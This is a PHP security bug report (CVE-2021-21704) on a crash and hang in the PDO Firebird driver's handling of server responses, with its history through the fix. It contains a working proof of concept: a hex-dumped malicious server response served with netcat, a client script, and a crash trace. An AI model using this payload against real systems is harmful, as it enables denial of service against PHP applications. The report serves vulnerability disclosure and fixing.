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Sec Bug #76449 SIGSEGV in firebird_handle_doer
Submitted: 2018-06-11 19:50 UTC Modified: 2021-06-28 04:40 UTC
From: trichimtrich at gmail dot com Assigned: stas (profile)
Status: Closed Package: PDO Firebird
PHP Version: 7.3.0alpha1 OS:
Private report: No CVE-ID: 2021-21704
 [2018-06-11 19:50 UTC] trichimtrich at gmail dot com
Description:
------------
A bug in pdo_firebase module allows a malicious firebase server or man-in-the-middle attacker to crash PHP.

firebird_handle_doer uses response from server without verify the data, and uses wrong type to cast length, leads to crash and hang PHP.

Vulnerable code in:
\php-src\ext\pdo_firebird\firebird_driver.c:
  134  				if (result[0] == isc_info_sql_records) {
  135: 					unsigned i = 3, result_size = isc_vax_integer(&result[1], 2);
  136  					while (result[i] != isc_info_end && i < result_size) {
  137: 						short len = (short) isc_vax_integer(&result[i + 1], 2);
  138  						if (result[i] != isc_info_req_select_count) {
  139: 							affected_rows += isc_vax_integer(&result[i + 3], len);
  140  						}
  141  						i += len + 3;

result_size is not verified
len uses short type, that we can set len = -3 and make PHP hangs forever.


$ ./php --version
PHP 7.3.0-dev (cli) (built: Jun  9 2018 04:47:18) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.3.0-dev, Copyright (c) 1998-2018 Zend Technologies

Test script:
---------------
$ xxd exec_insert.bin
00000000: 0000 005e ffff 800f 0000 0001 0000 0005  ...^............
00000010: 0000 0000 0000 000b 4c65 6761 6379 5f41  ........Legacy_A
00000020: 7574 6800 0000 0000 0000 0000 0000 005c  uth............\
00000030: 0000 0000 0000 000b 4c65 6761 6379 5f41  ........Legacy_A
00000040: 7574 6800 0000 0000 0000 0000 0000 0009  uth.............
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000070: 0000 0001 0000 0000 0000 0000 0000 0000  ................
00000080: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000090: 0000 0002 0000 0000 0000 0000 0000 0000  ................
000000a0: 0000 0001 0000 0000 0000 0000 0000 0009  ................
000000b0: 0000 0000 0000 0000 0000 0000 0000 001f  ................
000000c0: 1504 0002 0000 001b 0400 0200 0000 0507  ................
000000d0: 0400 0000 0000 0407 0400 0000 0000 0100  ................
000000e0: 0000 0001 0000 0000 0000 0000 0000 0009  ................
000000f0: 0000 0001 0000 0000 0000 0000 0000 0000  ................
00000100: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000110: 0000 0002 0000 0000 0000 0000 0000 0021  ...............!
00000120: 17ff ff0f feff 1000 0000 1004 0000 0000  ................
00000130: 000d 0400 0000 0000 0e04 0001 0000 0002  ................
00000140: 0100 0000 0000 0001 0000 0000 0000 0000  ................
00000150: 0000 0009 0000 0000 0000 0000 0000 0000  ................
00000160: 0000 0000 0000 0001 0000 0000 0000 0000  ................
00000170: 0000 0009 ffff ffff 0000 0000 0000 0000  ................
00000180: 0000 0000 0000 0001 0000 0000 0000 0000  ................
00000190: 0000 0009 0000 0000 0000 0000 0000 0000  ................
000001a0: 0000 0000 0000 0001 0000 0000 0000 0000  ................
000001b0: 0000 0009 0000 0000 0000 0000 0000 0000  ................
000001c0: 0000 0000 0000 0001 0000 0000 0000 0000  ................


$ nc -lvp 3050 < exec_insert.bin

$ cat fire_exec.php
<?php
$dsn = 'firebird:dbname=localhost:employee;charset=utf8;';
$username = 'SYSDBA';
$password = 'masterkey';

$dbh = new PDO($dsn, $username, $password, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
echo $dbh->exec("INSERT INTO test VALUES ('hihi2', 'xxxxx')");
?>

Expected result:
----------------
No crash
No hang

Actual result:
--------------
$ ./php fire_exec.php
ASAN:DEADLYSIGNAL
=================================================================
==5319==ERROR: AddressSanitizer: stack-overflow on address 0x7fffd615faa1 (pc 0x000000cd9655 bp 0x7fffd6157590 sp 0x7fffd6157240 T0)
    #0 0xcd9654 in firebird_handle_doer (/mnt/hgfs/share/htdocs/php+0xcd9654)
    #1 0xcbd411 in zim_PDO_exec (/mnt/hgfs/share/htdocs/php+0xcbd411)
    #2 0x12e2d9f in ZEND_DO_FCALL_SPEC_RETVAL_USED_HANDLER (/mnt/hgfs/share/htdocs/php+0x12e2d9f)
    #3 0x1212bcf in execute_ex (/mnt/hgfs/share/htdocs/php+0x1212bcf)
    #4 0x121320b in zend_execute (/mnt/hgfs/share/htdocs/php+0x121320b)
    #5 0x11175c0 in zend_execute_scripts (/mnt/hgfs/share/htdocs/php+0x11175c0)
    #6 0xfa4878 in php_execute_script (/mnt/hgfs/share/htdocs/php+0xfa4878)
    #7 0x1412cc4 in do_cli (/mnt/hgfs/share/htdocs/php+0x1412cc4)
    #8 0x1410e67 in main (/mnt/hgfs/share/htdocs/php+0x1410e67)
    #9 0x7f6c837b782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #10 0x43d878 in _start (/mnt/hgfs/share/htdocs/php+0x43d878)

SUMMARY: AddressSanitizer: stack-overflow (/mnt/hgfs/share/htdocs/php+0xcd9654) in firebird_handle_doer
==5319==ABORTING

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2018-06-11 20:06 UTC] stas@php.net
-Assigned To: +Assigned To: lwe
 [2018-06-11 21:18 UTC] trichimtrich at gmail dot com
PoC hangs PHP

$ xxd exec_insert.bin
00000000: 0000 005e ffff 800f 0000 0001 0000 0005  ...^............
00000010: 0000 0000 0000 000b 4c65 6761 6379 5f41  ........Legacy_A
00000020: 7574 6800 0000 0000 0000 0000 0000 005c  uth............\
00000030: 0000 0000 0000 000b 4c65 6761 6379 5f41  ........Legacy_A
00000040: 7574 6800 0000 0000 0000 0000 0000 0009  uth.............
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000070: 0000 0001 0000 0000 0000 0000 0000 0000  ................
00000080: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000090: 0000 0002 0000 0000 0000 0000 0000 0000  ................
000000a0: 0000 0001 0000 0000 0000 0000 0000 0009  ................
000000b0: 0000 0000 0000 0000 0000 0000 0000 001f  ................
000000c0: 1504 0002 0000 001b 0400 0200 0000 0507  ................
000000d0: 0400 0000 0000 0407 0400 0000 0000 0100  ................
000000e0: 0000 0001 0000 0000 0000 0000 0000 0009  ................
000000f0: 0000 0001 0000 0000 0000 0000 0000 0000  ................
00000100: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000110: 0000 0002 0000 0000 0000 0000 0000 0021  ...............!
00000120: 17ff ff0f fdff 1000 0000 1004 0000 0000  ................
00000130: 000d 0400 0000 0000 0e04 0001 0000 0002  ................
00000140: 0100 0000 0000 0001 0000 0000 0000 0000  ................
00000150: 0000 0009 0000 0000 0000 0000 0000 0000  ................
00000160: 0000 0000 0000 0001 0000 0000 0000 0000  ................
00000170: 0000 0009 ffff ffff 0000 0000 0000 0000  ................
00000180: 0000 0000 0000 0001 0000 0000 0000 0000  ................
00000190: 0000 0009 0000 0000 0000 0000 0000 0000  ................
000001a0: 0000 0000 0000 0001 0000 0000 0000 0000  ................
000001b0: 0000 0009 0000 0000 0000 0000 0000 0000  ................
000001c0: 0000 0000 0000 0001 0000 0000 0000 0000  ................
 [2018-06-28 08:31 UTC] trichimtrich at gmail dot com
any update for this one?
 [2021-04-30 11:54 UTC] cmb@php.net
-Status: Assigned +Status: Verified -Assigned To: lwe +Assigned To: cmb
 [2021-05-05 12:15 UTC] cmb@php.net
-Assigned To: cmb +Assigned To: stas
 [2021-05-05 12:15 UTC] cmb@php.net
Suggested patch:
<https://gist.github.com/cmb69/344574cbdbfa305a329c0e18a752d31d>.

This requires the payload server[1], and is developed against
PHP-7.4.  For PHP-7.3 at least some adjustments need to be done.
I can do that, but first would like to confirm that the patch and
the testing "framework" are generally acceptable.

Stas, what do you think?

[1] <https://github.com/php/php-src/pull/6940>
 [2021-06-21 05:11 UTC] stas@php.net
-CVE-ID: +CVE-ID: 2021-21704
 [2021-06-21 06:22 UTC] stas@php.net
-Private report: No +Private report: Yes
 [2021-06-28 04:41 UTC] git@php.net
Automatic comment on behalf of cmb69 (author) and smalyshev (committer)
Revision: https://github.com/php/php-src/commit/08da7c73726f7b86b67d6f0ff87c73c585a7834a
Log: Fix #76449: SIGSEGV in firebird_handle_doer
 [2021-06-28 04:41 UTC] git@php.net
-Status: Verified +Status: Closed
 
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